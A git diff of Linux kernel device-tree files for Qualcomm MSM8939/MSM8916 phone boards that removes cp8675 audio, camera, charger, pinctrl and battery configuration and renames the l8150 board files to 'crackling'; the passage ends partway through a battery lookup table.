6b7e32518313e..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-audio-internal_codec-cp8675.dtsi +++ /dev/null @@ -1,40 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&soc { - sound { - qcom,msm-mbhc-hphl-swh = <1>; - qcom,model = "msm8939-snd-card"; - qcom,msm-hs-micbias-type = "external"; - qcom,audio-routing = - "RX_BIAS", "MCLK", - "SPK_RX_BIAS", "MCLK", - "INT_LDO_H", "MCLK", - "MIC BIAS External", "Handset Mic", - "MIC BIAS External2", "Headset Mic", - "MIC BIAS External", "Secondary Mic", - "AMIC1", "MIC BIAS External", - "AMIC2", "MIC BIAS External2", - "AMIC3", "MIC BIAS External", - "DMIC1", "MIC BIAS Internal1", - "MIC BIAS Internal1", "Digital Mic1", - "DMIC2", "MIC BIAS Internal1", - "MIC BIAS Internal1", "Digital Mic2"; - pinctrl-names = "cdc_lines_act", - "cdc_lines_sus", - "cross_conn_det_act", - "cross_conn_det_sus", - "cdc_lines_dmic_act", - "cdc_lines_dmic_sus"; - }; -}; - diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-camera-sensor-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-camera-sensor-cp8675.dtsi deleted file mode 100644 index a1a09c12ce958..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-camera-sensor-cp8675.dtsi +++ /dev/null @@ -1,188 +0,0 @@ -/* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -&soc { -}; - -&cci { - actuator0: qcom,actuator@6e { - cell-index = <0>; - reg = <0x18>; - compatible = "qcom,actuator"; - qcom,cci-master = <0>; - }; - - led_flash0: qcom,led-flash@66 { - cell-index = <0>; - compatible = "rohm-flash,sgm3780"; - label = "sgm3780"; - qcom,flash-type = <1>; - gpios = <&msm_gpio 31 0>, - <&msm_gpio 32 0>; - qcom,gpio-flash-en = <0>; - qcom,gpio-flash-now = <1>; - qcom,gpio-req-tbl-num = <0 1>; - qcom,gpio-req-tbl-flags = <0 0>; - qcom,gpio-req-tbl-label = "FLASH_EN", - "FLASH_NOW"; - }; - - qcom,camera@21 { - cell-index = <0>; - compatible = "qcom,imx135", "qcom,camera"; - reg = <0x21>; - qcom,slave-id = <0x20 0x0016 0x135>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&led_flash0>; - qcom,mount-angle = <90>; - qcom,sensor-name = "imx135_cp8675"; - cam_vdig-supply = <&pm8916_l5>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana", - "cam_vaf"; - qcom,cam-vreg-type = <0 1 0 0>; - qcom,cam-vreg-min-voltage = <1800000 1800000 1800000 2800000>; - qcom,cam-vreg-max-voltage = <1800000 1800000 1800000 2800000>; - qcom,cam-vreg-op-mode = <200000 0 80000 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default - &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - qcom,gpio-no-mux = <0>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 16 0>, - <&msm_gpio 119 0>, - <&msm_gpio 120 0>, - <&msm_gpio 34 0>; - qcom,gpio-standby = <1>; - qcom,gpio-vana = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-af-pwdm = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_STANDBY", - "CAM_VANA", - "CAM_VDIG", - "CAM_AF_PWDM"; - qcom,csi-lane-assign = <0x4320>; - qcom,csi-lane-mask = <0x1f>; - qcom,sensor-position = <0>; - qcom,sensor-mode = <1>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@22 { - cell-index = <0>; - compatible = "qcom,imx214", "qcom,camera"; - reg = <0x20>; - qcom,slave-id = <0x20 0x0016 0x0214>; - qcom,csiphy-sd-index = <0>; - qcom,csid-sd-index = <0>; - qcom,mount-angle = <90>; - qcom,sensor-name = "imx214_cp8675"; - qcom,actuator-src = <&actuator0>; - qcom,led-flash-src = <&led_flash0>; - cam_vdig-supply = <&pm8916_l6>; - cam_vio-supply = <&pm8916_l6>; - cam_vana-supply = <&pm8916_l6>; - cam_vaf-supply = <&pm8916_l10>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio", "cam_vana","cam_vaf"; - qcom,cam-vreg-type = <0 0 0 0>; - qcom,cam-vreg-min-voltage = <0 1800000 0 2800000>; - qcom,cam-vreg-max-voltage = <0 1800000 0 2800000>; - qcom,cam-vreg-op-mode = <0 105000 0 100000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk0_default &cam_sensor_rear_default>; - pinctrl-1 = <&cam_sensor_mclk0_sleep &cam_sensor_rear_sleep>; - qcom,gpio-no-mux = <0>; - gpios = <&msm_gpio 26 0>, - <&msm_gpio 16 0>, - <&msm_gpio 119 0>, - <&msm_gpio 120 0>, - <&msm_gpio 34 0>; - qcom,gpio-standby = <1>; - qcom,gpio-vana = <2>; - qcom,gpio-vdig = <3>; - qcom,gpio-af-pwdm = <4>; - qcom,gpio-req-tbl-num = <0 1 2 3 4>; - qcom,gpio-req-tbl-flags = <1 0 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_STANDBY", - "CAM_VANA", - "CAM_VDIG", - "CAM_AF_PWDM"; - qcom,csi-lane-assign = <0x4320>; - qcom,csi-lane-mask = <0x1f>; - qcom,sensor-position = <0>; - qcom,sensor-mode = <1>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk0_clk_src>, - <&clock_gcc clk_gcc_camss_mclk0_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; - - qcom,camera@6c { - cell-index = <1>; - compatible = "ovti,ov5648", "qcom,camera"; - reg = <0x6c>; - qcom,slave-id = <0x6c 0x300a 0x5648>; - qcom,csiphy-sd-index = <1>; - qcom,csid-sd-index = <1>; - qcom,mount-angle = <270>; - qcom,sensor-name = "ov5648_cp8675"; - cam_vdig-supply = <&pm8916_l6>; - cam_vio-supply = <&pm8916_l6>; - qcom,cam-vreg-name = "cam_vdig", "cam_vio"; - qcom,cam-vreg-type = <0 1>; - qcom,cam-vreg-min-voltage = <0 1800000>; - qcom,cam-vreg-max-voltage = <0 1800000>; - qcom,cam-vreg-op-mode = <0 200000>; - pinctrl-names = "cam_default", "cam_suspend"; - pinctrl-0 = <&cam_sensor_mclk1_default - &cam_sensor_front_default>; - pinctrl-1 = <&cam_sensor_mclk1_sleep &cam_sensor_front_sleep>; - qcom,gpio-no-mux = <0>; - gpios = <&msm_gpio 27 0>, - <&msm_gpio 28 0>, - <&msm_gpio 33 0>, - <&msm_gpio 119 0>; - qcom,gpio-reset = <1>; - qcom,gpio-standby = <2>; - qcom,gpio-vana = <3>; - qcom,gpio-req-tbl-num = <0 1 2 3>; - qcom,gpio-req-tbl-flags = <1 0 0 0>; - qcom,gpio-req-tbl-label = "CAMIF_MCLK", - "CAM_RESET", - "CAM_STANDBY", - "CAM_VANA"; - qcom,csi-lane-assign = <0x4320>; - qcom,csi-lane-mask = <0x07>; - qcom,sensor-position = <1>; - qcom,sensor-mode = <0>; - qcom,cci-master = <0>; - status = "ok"; - clocks = <&clock_gcc clk_mclk1_clk_src>, - <&clock_gcc clk_gcc_camss_mclk1_clk>; - clock-names = "cam_src_clk", "cam_clk"; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-cp8675.dtsi deleted file mode 100644 index 7ad3482e8b17d..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-cp8675.dtsi +++ /dev/null @@ -1,388 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "msm8939-audio-internal_codec-cp8675.dtsi" -#include "msm8939-camera-sensor-cp8675.dtsi" -#include "msm8939-panels-cp8675.dtsi" -#include "msm8939-pinctrl-cp8675.dtsi" -#include "msm8939-regulator-cp8675.dtsi" -#include "msm-pm8916-cp8675.dtsi" - -/ { - memory { - pstore_reserve_mem: pstore_reserve_region@0 { - linux,reserve-contiguous-region; - linux,reserve-region; - linux,remove-completely; - reg = <0x0 0x8c300000 0x0 0x00100000>; - label = "pstore_reserve_mem"; - }; - }; -}; - -&soc { - ramoops { - compatible = "ramoops"; - status = "ok"; - - android,ramoops-buffer-start = <0x8c300000>; - android,ramoops-buffer-size = <0x100000>; - android,ramoops-console-size = <0x80000>; - android,ramoops-record-size = <0x20000>; - android,ramoops-dump-oops = <0x1>; - }; - - i2c@78b9000 { /* BLSP1 QUP5 */ - goodix_ts@5d { - compatible = "Goodix,Goodix-TS"; - reg = <0x5d>; - interrupt-parent = <&msm_gpio>; - interrupts = <13 0x2>; - vdd_ana-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - pinctrl-names = "pmx_ts_active","pmx_ts_suspend"; - pinctrl-0 = <&ts_int_active &ts_reset_active>; - pinctrl-1 = <&ts_int_suspend &ts_reset_suspend>; - - goodix,reset-gpio = <&msm_gpio 12 0x00>; - goodix,irq-gpio = <&msm_gpio 13 0x2>; - goodix,irq_flags = <0x2>; - goodix,screen_x = <720>; - goodix,screen_y = <1280>; - }; - }; - - i2c@78b8000 { /* BLSP1 QUP4 */ - fan5405_charger@6A { - compatible = "yl,fan5405_charger"; - reg = <0x6A>; - fan5405,irq-gpio = <&msm_gpio 62 0x00>; - fan5405,en-gpio = <&msm_gpio 2 0x00>; - interrupt-parent = <&msm_gpio>; - interrupts = <62 0>; - interrupt-names = "fan5405_irq"; - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&fan_int_active>; - pinctrl-1 = <&fan_int_sleep>; - yl,max-vbus-current-mA = <1500>; - yl,weak-batt-vol-mv = <3400>; - yl,max-voltage-mv = <4380>; - yl,max-charge-current-mA = <900>; - yl,term-current-mA = <150>; - yl,vsp-mv = <4500>; - yl,safety-charge_current-mA = <1500>; - yl,safety-voltage-mv = <4380>; - yl,enable-te; - yl,recharge-thresh-mv = <100>; - yl,vbus-ovp-mv = <6500>; - yl,recharge-capa = <99>; - yl,batt-temp-hot = <520>; /* 52 celsius */ - yl,batt-temp-too-hot = <570>; /* 57 celsius*/ - yl,batt-temp-cold = <100>; /* 10 celsius */ - yl,batt-temp-too-cold = <0>; /*3 celsius*/ - yl,batt-psy-name = "battery"; - yl,battery-psy-name = "lc709203_battery"; - }; - - tps651321@3E { - compatible="qcom,tps-651321"; - reg=<0x3e>; - interrupt-parent=<&msm_gpio>; - vdd-supply=<&pm8916_l17>; - vcc_i2c-supply=<&pm8916_l5>; - interrupts=<13 0x2008>; - }; - }; - - yl_adc_battery { - compatible = "yl,yl_adc_battery"; - yl,adc_batt_psy_name = "yl_adc_battery"; - yl,charge_psy_name = "battery"; - yl,lcd_open_delta_mv = <50>; - yl,lcd_close_delta_mv = <30>; - yl,bk_level_offset_step = <5>; - yl,pon_volt_delta = <50>; - yl,voltage_max_uv = <4350000>; - yl,capa_design_mAH = <2500>; - yl,soc_high_scaled = <98>; - yl,soc_low_scaled = <3>; - qcom,yl_adc-vadc=<&pm8916_vadc>; - }; - - i2c@78b6000 { /* BLSP1 QUP2 */ - mpu6880@68 { - compatible = "mpu6880"; - reg = <0x68>; - }; - pa12200001@1e { - compatible = "pa12200001"; - reg = <0x1e>; - pinctrl-names = "default","sleep"; - pinctrl-0 = <&pa12200001_default>; - pinctrl-1 = <&pa12200001_sleep>; - interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2>; - vdd_ana-supply = <&pm8916_l17>; - vcc_i2c-supply = <&pm8916_l6>; - alsp_vreg-supply = <&pm8916_l6>; - pa12200001,gpio_int = <&msm_gpio 113 0x00>; - pa12200001,irq_flags = <0x2>; - pa12200001,cfgs = <40 25 255 0 5 1 0 2 0 1 3 1 1 0 0 50 100>; - }; - yl_lc709203@0B { - compatible = "yl,yl_lc709203"; - reg = <0x0B>; - qcom,lc-vadc = <&pm8916_vadc>; - yl,soc-high-scaled = <990>; - yl,soc-low-scaled = <0>; - yl,lc709203-psy-name = "lc709203_battery"; - yl,charge-psy-name = "battery"; - yl,battery-data { - yl,rpull-up-kohm = <100>; - yl,vref-batt-id-uv = <1800000>; - yl,CPLD-351-BB-data { - yl,batt-full-capa = <2500>; - yl,batt-id-kohm = <47>; - yl,battery-type = "CPLD-351-BB"; - yl,battery-appli = <0x0025>; - }; - yl,CPLD-351-CC-data { - yl,batt-full-capa = <2500>; - yl,batt-id-kohm = <1>; - yl,battery-type = "CPLD-351-CC"; - yl,battery-appli = <0x0038>; - }; - yl,CPLD-351-LS-data { - yl,batt-full-capa = <2500>; - yl,batt-id-kohm = <220>; - yl,battery-type = "CPLD-351-LS"; - yl,battery-appli = <0x0033>; - }; - yl,CPLD-351-TM-data { - yl,batt-full-capa = <2500>; - yl,batt-id-kohm = <1000>; - yl,battery-type = "CPLD-351-TM"; - yl,battery-appli = <0x002D>; - }; - }; - }; - aw2013@45 { - compatible = "awinic,aw2013"; - reg = <0x45>; - vdd-supply = <&pm8916_l17>; - vcc-supply = <&pm8916_l6>; - - aw2013,red { - aw2013,name = "red"; - aw2013,id = <2>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,green { - aw2013,name = "green"; - aw2013,id = <1>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - - aw2013,blue { - aw2013,name = "blue"; - aw2013,id = <0>; - aw2013,gpio = <1018>; - aw2013,max-brightness = <255>; - aw2013,max-current = <3>; - aw2013,rise-time-ms = <2>; - aw2013,hold-time-ms = <1>; - aw2013,fall-time-ms = <2>; - aw2013,off-time-ms = <1>; - }; - }; - - }; - - hall_sensor { - compatible = "hall_switch"; - switch_name = "hall"; - hall_right { - hall_name = "right"; - gpios = <&msm_gpio 114 0x1>; - wakeup; - }; - }; - - gpio_keys { - compatible = "gpio-keys"; - input-name = "gpio-keys"; - pinctrl-names = "tlmm_gpio_key_active","tlmm_gpio_key_suspend"; - pinctrl-0 = <&gpio_key_active>; - pinctrl-1 = <&gpio_key_suspend>; - - vol_up { - label = "volume_up"; - gpios = <&msm_gpio 107 0x1>; - linux,input-type = <1>; - linux,code = <115>; - gpio-key,wakeup; - debounce-interval = <15>; - }; - }; -}; - -&sdhc_1 { - vdd-supply = <&pm8916_l8>; - qcom,vdd-voltage-level = <2900000 2900000>; - qcom,vdd-current-level = <200 400000>; - - vdd-io-supply = <&pm8916_l5>; - qcom,vdd-io-always-on; - qcom,vdd-io-lpm-sup; - qcom,vdd-io-voltage-level = <1800000 1800000>; - qcom,vdd-io-current-level = <200 60000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc1_clk_on &sdc1_cmd_on &sdc1_data_on>; - pinctrl-1 = <&sdc1_clk_off &sdc1_cmd_off &sdc1_data_off>; - - qcom,nonremovable; - - status = "ok"; -}; - -&sdhc_2 { - vdd-supply = <&pm8916_l11>; - qcom,vdd-voltage-level = <2800000 2950000>; - qcom,vdd-current-level = <15000 400000>; - - vdd-io-supply = <&pm8916_l12>; - qcom,vdd-io-voltage-level = <1800000 2950000>; - qcom,vdd-io-current-level = <200 50000>; - - pinctrl-names = "active", "sleep"; - pinctrl-0 = <&sdc2_clk_on &sdc2_cmd_on &sdc2_data_on &sdc2_cd_on>; - pinctrl-1 = <&sdc2_clk_off &sdc2_cmd_off &sdc2_data_off &sdc2_cd_off>; - - #address-cells = <0>; - interrupt-parent = <&sdhc_2>; - interrupts = <0 1 2>; - #interrupt-cells = <1>; - interrupt-map-mask = <0xffffffff>; - interrupt-map = <0 &intc 0 125 0 - 1 &intc 0 221 0 - 2 &msm_gpio 38 0>; - interrupt-names = "hc_irq", "pwr_irq", "status_irq"; - cd-gpios = <&msm_gpio 38 0x0>; - - status = "ok"; -}; - -&spmi_bus { - qcom,pm8916@0 { - qcom,leds@a100 { - status = "okay"; - qcom,led_mpp_2 { - label = "mpp"; - linux,name = "button-backlight"; - linux,default-trigger = "none"; - qcom,default-state = "off"; - qcom,max-current = <40>; - qcom,current-setting = <5>; - qcom,id = <6>; - qcom,mode = "manual"; - qcom,source-sel = <1>; - qcom,mode-ctrl = <0x60>; - }; - }; - }; - - qcom,pm8916@1 { - qcom,vibrator@c000 { - status = "okay"; - qcom,vib-timeout-ms = <15000>; - qcom,vib-vtg-level-mV = <3100>; - }; - }; -}; - -&pm8916_chg { - status = "disabled"; -}; - -/ { - mtp_batterydata: qcom,battery-data { - qcom,rpull-up-kohm = <100>; - qcom,vref-batt-therm = <1800000>; - - #include "batterydata-CPLD-351-BB.dtsi" - #include "batterydata-CPLD-351-CC.dtsi" - #include "batterydata-CPLD-351-LS.dtsi" - #include "batterydata-CPLD-351-MK.dtsi" - #include "batterydata-CPLD-351-TM.dtsi" - }; -}; - -&pm8916_bms { - status = "disabled"; -}; - -&qcom_tzlog { - status = "okay"; -}; - -&qcom_rng { - status = "okay"; -}; - -&qcom_crypto { - status = "okay"; -}; - -&qcom_cedev { - status = "okay"; -}; - -&qcom_seecom { - status = "okay"; -}; - -&mdss_dsi0 { - pinctrl-names = "mdss_default", "mdss_sleep"; - pinctrl-0 = <&mdss_dsi_active &mdss_te_active>; - pinctrl-1 = <&mdss_dsi_suspend &mdss_te_suspend>; - qcom,dsi-pref-prim-pan = <&dsi_hx8394a_lide_lg_hd>; - - qcom,platform-enable-gpio = <&msm_gpio 97 0>; - qcom,platform-reset-gpio = <&msm_gpio 25 0>; - qcom,platform-bklight-en-gpio = <&msm_gpio 98 0>; -}; - -&apc_vreg_corner { - qcom,cpr-up-threshold = <3>; - qcom,cpr-down-threshold = <6>; -}; - -&usb_otg { - qcom,hsusb-otg-mode = <3>; - qcom,usbid-gpio = <&msm_gpio 110 0>; - pinctrl-names = "default"; - pinctrl-0 = <&usbid_default>; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-panels-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-panels-cp8675.dtsi deleted file mode 100644 index 87fd86611d574..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-panels-cp8675.dtsi +++ /dev/null @@ -1,17 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include "dsi-panel-hx8394a-lide-lg-hd-550-video.dtsi" -#include "dsi-panel-otm1283a-boyi-lg-hd-550-video.dtsi" -#include "dsi-panel-otm1283a-lide-cpt-hd-550-video.dtsi" -#include "dsi-panel-nt35596-yashi-otp-id22-auo-fhd-550-video.dtsi" -#include "dsi-panel-r63315-tianma-tm-fhd-550-video.dtsi" diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-pinctrl-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-pinctrl-cp8675.dtsi deleted file mode 100644 index e2c3b956497c5..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-pinctrl-cp8675.dtsi +++ /dev/null @@ -1,69 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* Include the original, then override it with ours */ -#include "../msm8939-pinctrl.dtsi" - -&soc { - tlmm_pinmux: pinctrl@1000000 { - - pmx_sdc1_cmd { - sdc1_cmd_on: cmd_on { - drive-strength = <16>; /* 16 MA */ - }; - }; - - pmx_sdc1_data { - sdc1_data_on: data_on { - drive-strength = <16>; /* 16 MA */ - }; - }; - - fan_int_pin { - qcom,pins = <&gp 62>; - qcom,num-grp-pins = <1>; - qcom,pin-func = <0>; - label = "fan5405_int_gpio"; - fan_int_active: fan_int_active { - drive-strength = <2>; /* 2 MA */ - bias-disable = <0>; /* No PULL */ - }; - fan_int_sleep: fan_int_sleep { - drive-strength = <2>; /* 2 MA */ - bias-disable = <0>; /* No PULL */ - }; - }; - - fan_en_pin { - qcom,pins = <&gp 2>; - qcom,num-grp-pins = <1>; - qcom,pin-func = <0>; - label = "fan5405_en_gpio"; - }; - - pa12200001_int_pin { - /* Ambient light and proximity sensor pa12200001 */ - qcom,pins = <&gp 113>; - qcom,pin-func = <0>; - qcom,num-grp-pins = <1>; - label = "pa12200001-irq"; - pa12200001_default: pa12200001_default { - drive-strength = <6>; - bias-pull-up; - }; - pa12200001_sleep: pa12200001_sleep { - drive-strength = <2>; - bias-pull-down; - }; - }; - }; -}; diff --git a/arch/arm/boot/dts/qcom/cp8675/msm8939-regulator-cp8675.dtsi b/arch/arm/boot/dts/qcom/cp8675/msm8939-regulator-cp8675.dtsi deleted file mode 100644 index e4fe625a727ce..0000000000000 --- a/arch/arm/boot/dts/qcom/cp8675/msm8939-regulator-cp8675.dtsi +++ /dev/null @@ -1,18 +0,0 @@ -/* - * Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -/* Memory accelerator and CPR controlled regulators */ - -&apc_vreg_corner { - vdd-apc-optional-prim-supply = <&fan53555>; -}; diff --git a/arch/arm/boot/dts/qcom/l8150/batterydata-l8150-jd-4v35-2500mah.dtsi b/arch/arm/boot/dts/qcom/crackling/batterydata-crackling-jd-4v35-2500mah.dtsi similarity index 98% rename from arch/arm/boot/dts/qcom/l8150/batterydata-l8150-jd-4v35-2500mah.dtsi rename to arch/arm/boot/dts/qcom/crackling/batterydata-crackling-jd-4v35-2500mah.dtsi index 56027675acff1..25b5f48b80538 100755 --- a/arch/arm/boot/dts/qcom/l8150/batterydata-l8150-jd-4v35-2500mah.dtsi +++ b/arch/arm/boot/dts/qcom/crackling/batterydata-crackling-jd-4v35-2500mah.dtsi @@ -1,4 +1,4 @@ -qcom,l8150-jd-4v35-2500mah-data { +qcom,crackling-jd-4v35-2500mah-data { qcom,fcc-mah = <2500>; qcom,default-rbatt-mohm = <161>; qcom,rbatt-capacitive-mohm = <0>; diff --git a/arch/arm/boot/dts/qcom/l8150/dsi-panel-booyiOTM1287-720p-video.dtsi b/arch/arm/boot/dts/qcom/crackling/dsi-panel-booyiOTM1287-720p-video.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/dsi-panel-booyiOTM1287-720p-video.dtsi rename to arch/arm/boot/dts/qcom/crackling/dsi-panel-booyiOTM1287-720p-video.dtsi diff --git a/arch/arm/boot/dts/qcom/l8150/dsi-panel-dijingILI9881C-720p-video.dtsi b/arch/arm/boot/dts/qcom/crackling/dsi-panel-dijingILI9881C-720p-video.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/dsi-panel-dijingILI9881C-720p-video.dtsi rename to arch/arm/boot/dts/qcom/crackling/dsi-panel-dijingILI9881C-720p-video.dtsi diff --git a/arch/arm/boot/dts/qcom/l8150/dsi-panel-trulyotm1288a-720p-video.dtsi b/arch/arm/boot/dts/qcom/crackling/dsi-panel-trulyotm1288a-720p-video.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/dsi-panel-trulyotm1288a-720p-video.dtsi rename to arch/arm/boot/dts/qcom/crackling/dsi-panel-trulyotm1288a-720p-video.dtsi diff --git a/arch/arm/boot/dts/qcom/l8150/msm-pm8916-l8150.dtsi b/arch/arm/boot/dts/qcom/crackling/msm-pm8916-crackling.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/msm-pm8916-l8150.dtsi rename to arch/arm/boot/dts/qcom/crackling/msm-pm8916-crackling.dtsi diff --git a/arch/arm/boot/dts/qcom/l8150/msm8916-camera-sensor-l8150.dtsi b/arch/arm/boot/dts/qcom/crackling/msm8916-camera-sensor-crackling.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/msm8916-camera-sensor-l8150.dtsi rename to arch/arm/boot/dts/qcom/crackling/msm8916-camera-sensor-crackling.dtsi diff --git a/arch/arm/boot/dts/qcom/l8150/msm8916-l8150.dtsi b/arch/arm/boot/dts/qcom/crackling/msm8916-crackling.dtsi similarity index 98% rename from arch/arm/boot/dts/qcom/l8150/msm8916-l8150.dtsi rename to arch/arm/boot/dts/qcom/crackling/msm8916-crackling.dtsi index d5c315c4db759..3a4ead5223954 100644 --- a/arch/arm/boot/dts/qcom/l8150/msm8916-l8150.dtsi +++ b/arch/arm/boot/dts/qcom/crackling/msm8916-crackling.dtsi @@ -10,9 +10,9 @@ * GNU General Public License for more details. */ -#include "msm8916-pinctrl-l8150.dtsi" -#include "msm8916-camera-sensor-l8150.dtsi" -#include "msm-pm8916-l8150.dtsi" +#include "msm8916-pinctrl-crackling.dtsi" +#include "msm8916-camera-sensor-crackling.dtsi" +#include "msm-pm8916-crackling.dtsi" #include "../dsi-panel-otm8019a-fwvga-video.dtsi" #include "dsi-panel-trulyotm1288a-720p-video.dtsi" #include "dsi-panel-dijingILI9881C-720p-video.dtsi" diff --git a/arch/arm/boot/dts/qcom/l8150/msm8916-pinctrl-l8150.dtsi b/arch/arm/boot/dts/qcom/crackling/msm8916-pinctrl-crackling.dtsi similarity index 100% rename from arch/arm/boot/dts/qcom/l8150/msm8916-pinctrl-l8150.dtsi rename to arch/arm/boot/dts/qcom/crackling/msm8916-pinctrl-crackling.dtsi diff --git a/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-mp-4v2-2000mah.dtsi b/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-mp-4v2-2000mah.dtsi deleted file mode 100644 index 5e0347b8cf76f..0000000000000 --- a/arch/arm/boot/dts/qcom/g36c1h/batterydata-qrd-mp-4v2-2000mah.dtsi +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -qcom,qrd-hy-4v2-2000mah-data { - qcom,default-rbatt-mohm = <184>; - qcom,max-voltage-uv = <4210000>; - qcom,fcc-mah = <2000>; - qcom,rbatt-capacitive-mohm = <110>; - qcom,v-cutoff-uv = <3550000>; - qcom,chg-term-ua = <50000>; - qcom,batt-id-kohm = <47>; - qcom,flat-ocv-threshold-uv = <3800000>; - qcom,battery-type = "qrd_x1_4v2_2000mah"; - - qcom,fcc-temp-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-data = <2024 2033 2035 2031 2027>; - }; - - qcom,pc-temp-ocv-lut { - qcom,lut-col-legend = <(-20) 0 25 40 60>; - qcom,lut-row-legend = <100 95 90 85 80>, - <75 70 65 60 55>, - <50 45 40 35 30>, - <25 20 16 13 11>, - <10 9 8 7 6>, - <5 4 3 2 1 >, - <0>; - qcom,lut-data = <4186 4186 4195 4195 4185>, - <4108 4106 4142 4142 4130>, - <4031 4038 4058 4057 4055>, - <3972 3990 4016 4016 4014>, - <3932 3952 3980 3980 3977>, - <3897 